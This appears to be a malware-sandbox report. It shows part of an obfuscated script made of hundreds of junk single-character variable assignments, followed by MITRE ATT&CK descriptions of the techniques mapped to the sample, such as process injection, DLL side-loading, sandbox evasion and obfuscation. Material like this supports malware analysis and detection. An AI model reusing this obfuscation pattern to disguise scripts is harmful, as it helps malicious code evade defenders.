544	qpgaijpnt = "T";
545	qpgaijpnt = "I";
546	qpgaijpnt = "f";
547	qpgaijpnt = "W";
548	qpgaijpnt = "P";
549	qpgaijpnt = "H";
550	qpgaijpnt = "/";
551	oonevs = "b";
552	oonevs = "A";
553	oonevs = "t";
554	oonevs = "o";
555	oonevs = "I";
556	oonevs = "D";
557	oonevs = "f";
558	oonevs = "W";
559	oonevs = "Q";
560	oonevs = "w";
561	oonevs = "m";
562	oonevs = "Y";
563	oonevs = "S";
564	oonevs = "X";
565	oonevs = "D";
566	oonevs = "d";
567	qlugfh = "B";
568	qlugfh = "G";
569	qlugfh = "E";
570	qlugfh = "m";
571	qlugfh = "v";
572	qlugfh = "B";
573	qlugfh = "h";
574	qlugfh = "A";
575	qlugfh = "v";
576	qlugfh = "r";
577	qlugfh = "y";
578	qlugfh = "S";
579	qlugfh = "x";
580	qlugfh = "s";
581	qlugfh = "Q";
582	qlugfh = "Y";
583	qlugfh = "p";
584	qlugfh = "D";
585	qlugfh = "D";
586	qlugfh = "X";
587	qlugfh = "L";
588	qlugfh = "h";
589	qlugfh = "p";
590	ktxmn = "n";
591	ktxmn = "O";
592	ktxmn = "E";
593	ktxmn = ":";
594	uzfwtfzr = "t";
595	uzfwtfzr = "j";
596	uzfwtfzr = "P";
597	uzfwtfzr = "w";
598	uzfwtfzr = "H";
599	uzfwtfzr = "t";
600	uzfwtfzr = "B";
601	uzfwtfzr = "a";
602	uzfwtfzr = "n";
603	uzfwtfzr = "S";
604	uzfwtfzr = "A";
605	uzfwtfzr = "H";
606	uzfwtfzr = "p";
607	uzfwtfzr = "f";
608	uzfwtfzr = "e";
609	uzfwtfzr = "G";
610	uzfwtfzr = "D";
611	uzfwtfzr = "Z";
612	uzfwtfzr = "D";
613	uzfwtfzr = "l";
614	uzfwtfzr = "r";
615	uzfwtfzr = "G";
616	uzfwtfzr = "q";
617	uzfwtfzr = "r";
618	uzfwtfzr = "J";
619	uzfwtfzr = "d";
620	uzfwtfzr = "W";
621	uzfwtfzr = "H";
622	uzfwtfzr = "w";
623	uzfwtfzr = "v";
624	uzfwtfzr = "p";
625	uzfwtfzr = "v";
626	uzfwtfzr = "S";
627	uzfwtfzr = "R";
628	uzfwtfzr = "F";
629	uzfwtfzr = "A";
630	uzfwtfzr = "t";
631	uzfwtfzr = "f";
632	uzfwtfzr = "Z";
633	uzfwtfzr = "l";
634	uzfwtfzr = "Z";
635	uzfwtfzr = "u";
636	uzfwtfzr = "G";
637	uzfwtfzr = "Z";
638	uzfwtfzr = "j";
639	yfrteje = "F";
640	yfrteje = "R";
641	yfrteje = "K";
642	yfrteje = "j";
643	yfrteje = "d";
644	yfrteje = "P";
645	yfrteje = "D";
646	yfrteje = "t";
647	yfrteje = "D";
648	yfrteje = "s";
649	yfrteje = "H";
650	yfrteje = "X";
651	yfrteje = "N";
652	yfrteje = "t";
653	yfrteje = "T";
654	yfrteje = "Y";
655	yfrteje = "j";
656	yfrteje = "m";
657	yfrteje = "k";
658	yfrteje = "o";
659	yfrteje = "t";
660	yfrteje = "Q";
661	yfrteje = "Z";
662	yfrteje = "O";
663	yfrteje = "L";
664	tliwgykim = "G";
665	tliwgykim = "n";
666	tliwgykim = "a";
667	tliwgykim = "L";
668	tliwgykim = "z";
669	tliwgykim = "f";
670	tliwgykim = "p";
671	tliwgykim = "Q";
672	tliwgykim = "Z";
673	tliwgykim = "E";
674	tliwgykim = "P";
675	tliwgykim = "k";
676	tliwgykim = "g";
677	tliwgykim = "e";
678	tliwgykim = "e";
679	tliwgykim = "W";
680	tliwgykim = "C";
681	tliwgykim = "e";
682	tliwgykim = "s";
683	tliwgykim = "s";
684	tliwgykim = "U";
685	tliwgykim = "h";
686	tliwgykim = "B";
687	tliwgykim = "Q";
688	tliwgykim = "e";
689	tliwgykim = "d";
690	tliwgykim = "I";
691	tliwgykim = "j";
692	tliwgykim = "Q";
693	tliwgykim = "h";
694	tliwgykim = "b";
695	tliwgykim = "J";
696	tliwgykim = "q";
697	tliwgykim = "u";
698	tliwgykim = "O";
699	tliwgykim = "h";
700	tliwgykim = "S";
701	wtqdu = "B";
702	wtqdu = "m";
703	wtqdu = "d";
704	wtqdu = "n";
705	wtqdu = "W";
706	wtqdu = "Z";
707	wtqdu = "P";
708	wtqdu = "W";
709	wtqdu = "B";
710	wtqdu = "P";
711	wtqdu = "R";
712	wtqdu = "p";
713	wtqdu = "d";
714	wtqdu = "j";
715	wtqdu = "b";
716	wtqdu = "L";
717	wtqdu = "W";
718	wtqdu = "n";
719	wtqdu = "h";
720	wtqdu = "C";
721	wtqdu = "o";
722	wtqdu = "c";
723	wtqdu = "k";
724	wtqdu = "X";
725	wtqdu = "z";
726	wtqdu = "V";
727	wtqdu = "z";
728	wtqdu = "H";
729	wtqdu = "h";
730	wtqdu = "E";
731	wtqdu = "R";
732	wtqdu = "u";
733	wtqdu = "J";
734	wtqdu = "D";
735	wtqdu = "g";
736	wtqdu = "S";
737	wtqdu = "i";
738	wtqdu = "p";
739	wtqdu = "v";
740	wtqdu = "w";
741	wtqdu = "x";
742	wtqdu = "h";
743	wtqdu = "Y";
744	xeuwfp = "r";
745	xeuwfp = "t";
746	xeuwfp = "D";
747	xeuwfp = "X";
748	xeuwfp = "g";
749	xeuwfp = "n";
750	xeuwfp = "L";
751	xeuwfp = "j";
752	xeuwfp = "j";
753	xeuwfp = "U";
754	xeuwfp = "r";
755	xeuwfp = "R";
756	xeuwfp = "B";
757	xeuwfp = "c";
758	xeuwfp = "s";
759	xeuwfp = "z";
760	xeuwfp = "o";
761	xeuwfp = "A";
762	xeuwfp = "W";
763	xeuwfp = "S";
764	xeuwfp = "a";
765	xeuwfp = "z";
766	xeuwfp = "c";
767	xeuwfp = "b";
768	xeuwfp = "f";
769	xeuwfp = "H";
770	xeuwfp = "m";
771	xeuwfp = "Z";
772	xeuwfp = "h";
773	xeuwfp = "a";
774	xeuwfp = "B";
775	xeuwfp = "j";
776	xeuwfp = "e";
777	xeuwfp = "Y";
778	xeuwfp = "J";
779	xeuwfp = "B";
780	xeuwfp = "%";
781	sdfir = "z";
782	sdfir = "d";
783	sdfir = "v";
784	sdfir = "y";
785	sdfir = "n";
786	sdfir = "i";
787	sdfir = "U";
788	sdfir = "s";
789	sdfir = "g";
790	sdfir = "o";
791	sdfir = "J";
792	sdfir = "Z";
793	sdfir = "S";
794	sdfir = "v";
795	sdfir = "E";
796	sdfir = "i";
797	sdfir = "f";
798	sdfir = "d";
799	sdfir = "p";
800	sdfir = "i";
801	sdfir = "G";
802	sdfir = "d";
803	sdfir = "w";
804	jkuxyvvk = "p";
805	jkuxyvvk = "Q";
806	jkuxyvvk = "B";
807	jkuxyvvk = "y";
808	jkuxyvvk = "Y";
809	jkuxyvvk = "d";
810	jkuxyvvk = "b";
811	jkuxyvvk = "C";
812	jkuxyvvk = "t";
813	jkuxyvvk = "c";
814	jkuxyvvk = "T";
815	jkuxyvvk = "P";
816	jkuxyvvk = "T";
817	jkuxyvvk = "q";
818	jkuxyvvk = "W";
819	jkuxyvvk = "A";
820	jkuxyvvk = "C";
821	jkuxyvvk = "B";
822	jkuxyvvk = "q";
823	jkuxyvvk = "t";
824	jkuxyvvk = "w";
825	jkuxyvvk = "B";
826	jkuxyvvk = "b";
827	jkuxyvvk = "t";
828	jkuxyvvk = "c";
829	tlolvakm = "d";
830	tlolvakm = "E";
831	tlolvakm = "f";
832	tlolvakm = "o";
833	tlolvakm = "y";
834	tlolvakm = "A";
835	tlolvakm = "F";
836	tlolvakm = "L";
837	tlolvakm = "U";
838	mbefqjdc = "n";
839	mbefqjdc = "w";
840	mbefqjdc = "a";
841	mbefqjdc = "J";
842	mbefqjdc = "i";
843	mbefqjdc = "d";
844	mbefqjdc = "L";
845	mbefqjdc = "M";
846	mbefqjdc = "v";
847	mbefqjdc = "N";
848	mbefqjdc = "U";
849	mbefqjdc = "E";
850	mbefqjdc = "H";
851	mbefqjdc = "U";
852	mbefqjdc = "R";
853	mbefqjdc = "c";
854	mbefqjdc = "g";
855	mbefqjdc = "j";
856	mbefqjdc = "P";
857	iynpaduoa = "U";
858	iynpaduoa = "R";
859	iynpaduoa = "Z";
860	iynpaduoa = "J";
861	iynpaduoa = "Z";
862	iynpaduoa = "y";
863	iynpaduoa = "i";
864	iynpaduoa = "r";
865	iynpaduoa = "P";
866	iynpaduoa = "D";
867	iynpaduoa = "e";
868	iynpaduoa = "@";
869	krdvmzkgo = "X";
870	krdvmzkgo = "K";
871	krdvmzkgo = "i";
872	krdvmzkgo = "P";
873	krdvmzkgo = "i";
874	krdvmzkgo = "F";
875	krdvmzkgo = "k";
876	krdvmzkgo = "M";
877	krdvmzkgo = "T";
878	krdvmzkgo = "V";
879	krdvmzkgo = "r";
880	krdvmzkgo = "K";
881	wgvsfqchz = "t";
882	wgvsfqchz = "N";
883	wgvsfqchz = "F";
884	wgvsfqchz = "r";
885	wgvsfqchz = "W";
886	wgvsfqchz = "F";
887	wgvsfqchz = "K";
888	wgvsfqchz = "U";
889	wgvsfqchz = "J";
890	wgvsfqchz = "g";
891	wgvsfqchz = "N";
892	wgvsfqchz = "x";
893	wgvsfqchz = "O";
894	wgvsfqchz = "q";
895	wgvsfqchz = "s";
896	wgvsfqchz = "L";
897	wgvsfqchz = "M";
898	wgvsfqchz = "x";
899	wgvsfqchz = "Q";
900	wgvsfqchz = "K";
901	wgvsfqchz = "G";
902	wgvsfqchz = "w";
903	wgvsfqchz = "q";
904	wgvsfqchz = "a";
905	wgvsfqchz = "T";
906	wgvsfqchz = "i";
907	wgvsfqchz = "X";
908	wgvsfqchz = "M";
909	wgvsfqchz = "3";
910	bsnsjov = "k";
911	bsnsjov = "i";
912	bsnsjov = "p";
913	bsnsjov = "S";
914	bsnsjov = "j";
915	bsnsjov = "W";
916	bsnsjov = "k";
917	bsnsjov = "O";
918	bsnsjov = "H";
919	bsnsjov = "v";
920	bsnsjov = "I";
921	bsnsjov = "n";
922	bsnsjov = "k";
923	bsnsjov = "P";
924	bsnsjov = "p";
925	bsnsjov = "z";
926	bsnsjov = "H";
927	bsnsjov = "h";
928	bsnsjov = "B";
929	bsnsjov = "E";
930	bsnsjov = "u";
931	bsnsjov = "a";
932	bsnsjov = "r";
933	bsnsjov = "O";
934	bsnsjov = "L";
935	bsnsjov = "N";
936	bsnsjov = "l";
937	bsnsjov = "x";
938	bsnsjov = "1";
939	sqtyofe = "n";
940	sqtyofe = "R";
941	sqtyofe = "P";
942	sqtyofe = "T";
943	sqtyofe = "D";
944	sqtyofe = "L";
945	sqtyofe = "i";
946	sqtyofe = "a";
947	sqtyofe = "U";
948	sqtyofe = "4";
949	pimvni = "X";
950	pimvni = "f";
951	pimvni = "k";
952	pimvni = "j";
953	pimvni = "k";
954	pimvni = "U";
955	pimvni = "Q";
956	pimvni = "D";
957	pimvni = "r";
958	pimvni = "x";
959	pimvni = "d";
960	pimvni = "X";
961	pimvni = "A";
962	pimvni = "Z";
963	pimvni = "p";
964	pimvni = "s";
965	pimvni = "5";
966	apocwht = "j";
967	apocwht = "p";
968	apocwht = "Y";
969	apocwht = "c";
970	apocwht = "K";
971	apocwht = "Y";
972	apocwht = "U";
973	apocwht = "H";
974	apocwht = "K";
975	apocwht = "r";
976	apocwht = "X";
977	apocwht = "o";
978	apocwht = "H";
979	apocwht = "l";
980	apocwht = "S";
981	apocwht = "l";
982	apocwht = "h";
983	apocwht = "R";
984	apocwht = "F";
985	apocwht = "F";
986	apocwht = "Z";
987	apocwht = "v";
988	apocwht = "K";
989	apocwht = "Q";
990	apocwht = "Q";
991	apocwht = "g";
992	apocwht = "r";
993	apocwht = "E";
994	apocwht = "A";
995	apocwht = "p";
996	apocwht = "l";
997	apocwht = "b";
998	apocwht = "O";
999	apocwht = "d";
1000	apocwht = "j";
1001	apocwht = "D";
1002	apocwht = "F";
1003	afalztdtn = "T";
1004	afalztdtn = "I";
1005	afalztdtn = "i";
1006	afalztdtn = "d";
1007	afalztdtn = "V";
1008	afalztdtn = "L";
1009	afalztdtn = "G";
1010	afalztdtn = "i";
1011	afalztdtn = "u";
1012	afalztdtn = "o";
1013	afalztdtn = "X";
1014	afalztdtn = "W";
1015	afalztdtn = "D";
1016	afalztdtn = "T";
1017	afalztdtn = "h";
1018	afalztdtn = "L";
1019	afalztdtn = "l";
1020	afalztdtn = "u";
1021	afalztdtn = "l";
1022	afalztdtn = "q";
1023	afalztdtn = "e";
1024	afalztdtn = "k";
1025	afalztdtn = "w";
1026	afalztdtn = "y";
1027	afalztdtn = "F";
1028	afalztdtn = "Y";
1029	afalztdtn = "W";
1030	afalztdtn = " ";
1031	iqgqscsih = "V";
1032	iqgqscsih = "r";
1033	iqgqscsih = "N";
1034	iqgqscsih = "j";
1035	iqgqscsih = "g";
1036	iqgqscsih = "I";
1037	iqgqscsih = "F";
1038	iqgqscsih = "k";
1039	iqgqscsih = "V";
1040	iqgqscsih = "r";
1041	rwkhae = "t";
1042	rwkhae = "k";
1043	rwkhae = "Y";
1044	rwkhae = "h";
1045	rwkhae = "s";
1046	rwkhae = "f";
1047	rwkhae = "o";
1048	rwkhae = "c";
1049	rwkhae = "H";
1050	rwkhae = "p";
1051	rwkhae = "m";
1052	rwkhae = "a";
1053	rwkhae = "m";
1054	rwkhae = "J";
1055	rwkhae = "l";
1056	rwkhae = "n";
1057	rwkhae = "Z";
1058	rwkhae = "y";
1059	rwkhae = "Z";
1060	rwkhae = "W";
1061	rwkhae = "o";
1062	rwkhae = "t";
1063	rwkhae = "E";
1064	rwkhae = "E";
1065	rwkhae = "k";
1066	rwkhae = "E";
1067	rwkhae = "F";
1068	rwkhae = "x";
1069	rwkhae = "a";
1070	rwkhae = "U";
1071	rwkhae = "j";
1072	rwkhae = "E";
1073	rwkhae = "N";
1074	jrqsbc = "P";
1075	jrqsbc = "f";
1076	jrqsbc = "T";
1077	jrqsbc = "v";
1078	yekojo = "u";
1079	yekojo = "T";
1080	yekojo = "B";
1081	yekojo = "q";
1082	yekojo = "b";
1083	yekojo = "Q";
1084	yekojo = "O";
1085	yekojo = "x";
1086	yekojo = "n";
1087	xcvsjk = "B";
1088	xcvsjk = "r";
1089	xcvsjk = "U";
1090	xcvsjk = "b";
1091	xcvsjk = "F";
1092	xcvsjk = "K";
1093	xcvsjk = "b";
1094	xcvsjk = "U";
1095	xcvsjk = "V";
1096	xcvsjk = "e";
1097	xcvsjk = "I";
1098	xcvsjk = "Q";
1099	xcvsjk = "Y";
1100	xcvsjk = "A";
1101	xcvsjk = "A";
1102	xcvsjk = "q";
1103	xcvsjk = "E";
1104	xcvsjk = "w";
1105	xcvsjk = "T";
1106	xcvsjk = "D";
1107	xcvsjk = "h";
1108	xcvsjk = "I";
1109	xcvsjk = "a";
1110	xcvsjk = "E";
1111	xcvsjk = "f";
1112	xcvsjk = "h";
1113	xcvsjk = "L";
1114	xcvsjk = "E";
1115	xcvsjk = "N";
1116	xcvsjk = "E";
1117	jccqffwdx = "D";
1118	jccqffwdx = "d";
1119	jccqffwdx = "E";
1120	jccqffwdx = "C";
1121	jccqffwdx = "L";
1122	jccqffwdx = "t";
1123	jccqffwdx = "y";
1124	jccqffwdx = "E";
1125	jccqffwdx = "y";
1126	jccqffwdx = "C";
1127	jccqffwdx = "v";
1128	jccqffwdx = "i";
1129	jccqffwdx = "C";
1130	jccqffwdx = "T";
1131	jccqffwdx = "i";
1132	jccqffwdx = "c";
1133	jccqffwdx = "M";
1134	jccqffwdx = "E";
1135	jccqffwdx = "v";
1136	jccqffwdx = "X";
1137	jccqffwdx = "v";
1138	jccqffwdx = "m";
1139	jccqffwdx = "g";
1140	jccqffwdx = "C";
1141	jccqffwdx = "I";
1142	jccqffwdx = "J";
1143	jccqffwdx = "t";
1144	jccqffwdx = "Z";
1145	jccqffwdx = "z";
1146	jccqffwdx = "R";
1147	jccqffwdx = "j";
1148	jccqffwdx = "O";
1149	jccqffwdx = "g";
1150	jccqffwdx = "f";
1151	jccqffwdx = "O";
1152	jccqffwdx = "f";
1153	lopih = "H";
1154	lopih = "J";
1155	lopih = "z";
1156	lopih = "Z";
1157	lopih = "L";
1158	lopih = "l";
1159	lopih = "H";
1160	lopih = "o";
1161	lopih = "t";
1162	lopih = "C";
1163	lopih = "Z";
1164	lopih = "L";
1165	lopih = "z";
1166	lopih = "S";
1167	lopih = "C";
1168	lopih = "h";
1169	lopih = "o";
1170	vpvmrw = "T";
1171	vpvmrw = "M";
1172	vpvmrw = "b";
1173	vpvmrw = "I";
1174	vpvmrw = "x";
1175	vpvmrw = "d";
1176	vpvmrw = "V";
1177	vpvmrw = "k";
1178	vpvmrw = "q";
1179	vpvmrw = "\\";
1180	hbmoixhw = "k";
1181	hbmoixhw = "j";
1182	hbmoixhw = "M";
1183	hbmoixhw = "m";
1184	hbmoixhw = "v";
1185	hbmoixhw = "k";
1186	hbmoixhw = "U";
1187	hbmoixhw = "s";
1188	hbmoixhw = "U";
1189	hbmoixhw = "d";
1190	hbmoixhw = "y";
1191	hbmoixhw = "V";
1192	hbmoixhw = "d";
1193	hbmoixhw = "T";
1194	hbmoixhw = "t";
1195	hbmoixhw = "W";
1196	hbmoixhw = "O";
1197	hbmoixhw = "k";
1198	hbmoixhw = "M";
1199	hbmoixhw = "l";
1200	hbmoixhw = "s";
1201	hbmoixhw = "W";
1202	hbmoixhw = "T";
1203	hbmoixhw = "i";
1204	hbmoixhw = "I";
1205	hbmoixhw = "y";
1206	hbmoixhw = "N";
1207	hbmoixhw = "p";
1208	hbmoixhw = "N";
1209	hbmoixhw = "R";
1210	hbmoixhw = "T";
1211	hbmoixhw = "T";
1212	hbmoixhw = "S";
1213	hbmoixhw = "q";
1214	hbmoixhw = "v";
1215	hbmoixhw = "S";
1216	hbmoixhw = "R";
1217	hbmoixhw = "N";
1218	hbmoixhw = "K";
1219	hbmoixhw = "o";
1220	hbmoixhw = "N";
1221	hbmoixhw = "Y";
1222	hbmoixhw = "m";
1223	hbmoixhw = "x";
1224	hbmoixhw = "8";
1225	ovcqabve = "w";
1226	ovcqabve = "E";
1227	ovcqabve = "F";
1228	ovcqabve = "L";
1229	ovcqabve = "c";
1230	ovcqabve = "U";
1231	ovcqabve = "g";
1232	ovcqabve = "Q";
1233	ovcqabve = "i";
1234	ovcqabve = "W";
1235	ovcqabve = "E";
1236	ovcqabve = "L";
1237	ovcqabve = "X";
1238	ovcqabve = "U";
1239	ovcqabve = "Q";
1240	ovcqabve = "A";
1241	ovcqabve = "Z";
1242	ovcqabve = "t";
1243	ovcqabve = "e";
1244	ovcqabve = "S";
1245	ovcqabve = "O";
1246	ovcqabve = "e";
1247	pujehdje = "R";
1248	pujehdje = "r";
1249	pujehdje = "J";
1250	pujehdje = "v";
1251	pujehdje = "F";
1252	pujehdje = "N";
1253	pujehdje = "Q";
1254	pujehdje = "B";
1255	pujehdje = "H";
1256	pujehdje = "g";
1257	pujehdje = "h";
1258	pujehdje = "P";
1259	pujehdje = "R";
1260	dkykfudyg = "p";
1261	dkykfudyg = "m";
1262	dkykfudyg = "T";
1263	dkykfudyg = "k";
1264	dkykfudyg = "z";
1265	dkykfudyg = "v";
1266	dkykfudyg = "i";
1267	dkykfudyg = "Y";
1268	dkykfudyg = "_";
1269	glvyxxii = "g";
1270	glvyxxii = "n";
1271	glvyxxii = "P";
1272	glvyxxii = "H";
1273	glvyxxii = "Q";
1274	glvyxxii = "Q";
1275	glvyxxii = "S";
1276	glvyxxii = "v";
1277	glvyxxii = "c";
1278	glvyxxii = "h";
1279	glvyxxii = "O";
1280	glvyxxii = "w";
1281	glvyxxii = "k";
1282	glvyxxii = "S";
1283	glvyxxii = "U";
1284	glvyxxii = "F";
1285	glvyxxii = "X";
1286	glvyxxii = "C";
1287	glvyxxii = "D";
1288	glvyxxii = "S";
1289	glvyxxii = "P";
1290	glvyxxii = "K";
1291	glvyxxii = "7";
1292	voqal = "A";
1293	voqal = "R";
1294	voqal = "M";
1295	voqal = "a";
1296	voqal = "H";
1297	voqal = "J";
1298	voqal = "h";
1299	voqal = "N";
1300	voqal = "O";
1301	voqal = "b";
1302	voqal = "j";
1303	voqal = "v";
1304	voqal = "u";
1305	voqal = "n";
1306	voqal = "p";
1307	voqal = "Q";
1308	voqal = "d";
1309	voqal = "N";
1310	voqal = "N";
1311	voqal = "b";
1312	voqal = "Z";
1313	voqal = "p";
1314	voqal = "C";
1315	voqal = "K";
1316	voqal = "k";
1317	voqal = "f";
1318	voqal = "X";
1319	voqal = "Z";
1320	voqal = "I";
1321	voqal = "c";
1322	voqal = "B";
1323	voqal = "h";
1324	voqal = "I";
1325	bzwvqny = "u";
1326	bzwvqny = "K";
1327	bzwvqny = "e";
1328	bzwvqny = "F";
1329	bzwvqny = "K";
1330	bzwvqny = "T";
1331	bzwvqny = "z";
1332	bzwvqny = "c";
1333	bzwvqny = "v";
1334	bzwvqny = "H";
1335	bzwvqny = "w";
1336	bzwvqny = "g";
1337	bzwvqny = "n";
1338	bzwvqny = "Q";
1339	utmmqfay = "B";
1340	utmmqfay = "T";
1341	utmmqfay = "v";
1342	utmmqfay = "u";
1343	utmmqfay = "r";
1344	utmmqfay = "d";
1345	utmmqfay = "w";
1346	utmmqfay = "P";
1347	utmmqfay = "w";
1348	utmmqfay = "O";
1349	utmmqfay = "j";
1350	utmmqfay = "K";
1351	utmmqfay = "b";
1352	utmmqfay = "J";
1353	utmmqfay = "v";
1354	utmmqfay = "t";
1355	utmmqfay = "H";
1356	utmmqfay = "P";
1357	utmmqfay = "O";
1358	utmmqfay = "z";
1359	utmmqfay = "e";
1360	utmmqfay = "j";
1361	utmmqfay = "w";
1362	utmmqfay = "C";
1363	utmmqfay = "b";
1364	utmmqfay = "L";
1365	utmmqfay = "r";
1366	utmmqfay = "Q";
1367	utmmqfay = "S";
1368	utmmqfay = "N";
1369	utmmqfay = "n";
1370	utmmqfay = "a";
1371	utmmqfay = "a";
1372	ekjbyfok = "T";
1373	ekjbyfok = "Q";
1374	ekjbyfok = "D";
1375	ekjbyfok = "d";
1376	ekjbyfok = "k";
1377	ekjbyfok = "q";
1378	ekjbyfok = "s";
1379	ekjbyfok = "v";
1380	ekjbyfok = "k";
1381	ekjbyfok = "S";
1382	ekjbyfok = "s";
1383	ekjbyfok = "t";
1384	ekjbyfok = "d";
1385	ekjbyfok = "r";
1386	ekjbyfok = "o";
1387	ekjbyfok = "Y";
1388	ekjbyfok = "J";
1389	ekjbyfok = "v";
1390	ekjbyfok = "i";
1391	ekjbyfok = "K";
1392	ekjbyfok = "U";
1393	ekjbyfok = "y";
1394	ekjbyfok = "I";
1395	ekjbyfok = "C";
1396	ekjbyfok = "Q";
1397	ekjbyfok = "Q";
1398	ekjbyfok = "X";
1399	ekjbyfok = "z";
1400	ekjbyfok = "P";
1401	ekjbyfok = "h";
1402	ekjbyfok = "P";
1403	ekjbyfok = "Q";
1404	ekjbyfok = "&";
1405	muufytpl = "N";
1406	muufytpl = "x";
1407	muufytpl = "f";
1408	muufytpl = "k";
1409	muufytpl = "F";
1410	muufytpl = "Z";
1411	muufytpl = "m";
1412	muufytpl = "C";
1413	ejvzdg = "s";
1414	ejvzdg = "K";
1415	ejvzdg = "Y";
1416	ejvzdg = "n";
1417	ejvzdg = "y";
1418	ejvzdg = "J";
1419	ejvzdg = "X";
1420	ejvzdg = "w";
1421	ejvzdg = "H";
1422	ejvzdg = "m";
1423	ejvzdg = "L";
1424	ejvzdg = "b";
1425	ejvzdg = "p";
1426	ejvzdg = "X";
1427	ejvzdg = "6";
1428	bpkzy ( );	bpkzy() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

